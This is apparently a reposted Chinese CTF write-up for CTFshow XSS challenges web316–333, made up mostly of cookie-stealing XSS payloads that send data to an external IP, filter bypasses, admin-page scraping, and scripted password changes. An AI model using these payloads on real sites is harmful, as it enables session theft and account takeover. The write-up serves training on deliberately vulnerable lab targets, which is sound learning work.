CTFshow-WEB入门-XSS

前言

因为不太会javascript,所以对于xss的了解一直比较少,也不太会,这次做一下xss专题,学习一下xss。

web316

圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!

意思是要生成链接,应该就还是获得管理员cookie这样的题目,大师傅们说题目的bot是每隔一段时间自动点击的。
可以利用xss平台:
XSS平台
以后我都用自己vps。

首先测试一下<script>alert(1)</script>,弹窗成功,第一题应该是没有任何的过滤,所以直接打cookie即可。

收集一下可用的姿势吧,首先是img:

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>

直接创建img标签的话,比如这样<img src="http://xxx.xxx.xxx.xxx:39543/"+document.cookie />不行,这里识别不到document.cookie,套一层<script></script>也不行,看来想在script里面创建img的话只能这样了,还是不会js,太菜了。

不过利用外带的话还有其他的姿势,比如window.open:

<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

此外也还可以这样

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

不加window也可以:

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

此外,input也可以,不过需要加上autofocus。:

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

还有svg标签。

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

还有iframe标签:

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

还有body标签:

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

正常的vps那边是需要nc的,但是nc好像不能持续接收,但是方法其实很多,可以重复起nc,或者我这边就临时拿python起一个临时的服务器,接收一下get参数:

python3 -m http.server 39543

在这里插入图片描述

web317

好像过滤了script,上面的很多方法都可以用。

web318

过滤了img,上面的很多方法都可以用。

web319

同上

web320

把空格给过滤了,就拿%09的url解码得到的TAB来过滤。

<iframe	onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

web321

同上

web322

把iframe给过滤了,但是svg还可以用,用svg:

<svg	onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

body也可以:

<body	onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

此外,去查XSS的过滤,发现过滤了空格其实正规的绕法应该是拿/来绕:

<body/onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

web323

同上

web324

同上

web325

同上

web326

同上

web327

存储型XSS。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。直接用一下xss平台的payload就可以了。

web328

简单的看一下,逻辑大概就是注册用户名和密码,然后应该是存入数据库中,然后有一个用户管理页面,只有管理员可以查看,而且这个页面会把数据库中的用户名和密码回显出来,很容易猜到flag应该也在这里,所以还是拿admin的cookie,比较明显的存储型XSS。拿xss平台或者最简单的payload打就可以:

<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

web329

还是按照同样的方式,得到了cookie,但是这题却不行了,说明直接拿到管理员的cookie也没法成功登录。y4师傅说是设置了cookie发给你后就让他失效,所以没法登录成admin。但是可以想到就是把那个页面的内容给读到,但是怎么读我太不会。。上网上查了一下,感觉很几种方法,首先是这样:

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

还有innerHTML和outerHTML的区别
1)innerHTML:
  从对象的起始位置到终止位置的全部内容,不包括Html标签。
2)outerHTML:
  除了包含innerHTML的全部内容外, 还包含对象标签本身。

此外还有y4师傅这样的:

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;//问了师傅才知道这个标签是可以通过浏览器找到的,ttttqqqqll
document.body.append(img);

是写到了自己的vps上面。

web330

发现了新增加了修改密码的功能,莫名警觉。但是按照之前的那样读发现读到的是******。本来想着是javascript让管理员去访问修改密码的那个页面,实现修改管理员的密码,但是好像我并没有成功。无奈看了一下yq1ng师傅的方式,类似于这样:

<script>window.open('http://118.31.168.198:39543/'+document.querySelector('#top > div.layui-container').textContent)</script>

原因是管理员的密码是在这个页面的其他位置,所以按照之前的找那个表格中的内容是找不到的。不得不说还是querySelector好用,可能还是我不会javascript的原因,对于getElementsByClassName的理解很浅,比如这样

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-container')[0].outerHTML)</script>

他似乎不能递归的寻找?所以感觉并没有querySelector好用。

但是这样其实还是非预期,本题的预期应该就是去修改管理员的密码,但是似乎我这样并不行:

<script>window.open('http://e9dc0314-afc3-48a2-9578-ef76191ce6bb.chall.ctf.show:8080/api/change.php?p=1234567')</script>

但是发现这样就可以了:

<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>

web331

这题修改密码的那里变成的post请求,我这里再window.open肯定不行了,去查一下javascript如何发送Http请求,发现方式还是挺多的,这里试试用XMLHttpRequest。

原型是这样:

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {
    
    //请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {
    
    //验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

获取数据后的处理就不用管了,直接发送请求即可。

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web332

正常注册,发现转不了账,提示有内鬼,停止交易。好奇怪。然后用户名那里注册了xss:
<script>alert(1)</script>,
再去转账,发现能转了。。
试了一下逻辑漏洞,转账那里转负数钱:
在这里插入图片描述

在这里插入图片描述
可以得到flag。

web333

再给别人转转不了了,给自己转:
在这里插入图片描述

成功,而且金额会增加,开bp跑一下就可以了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114079028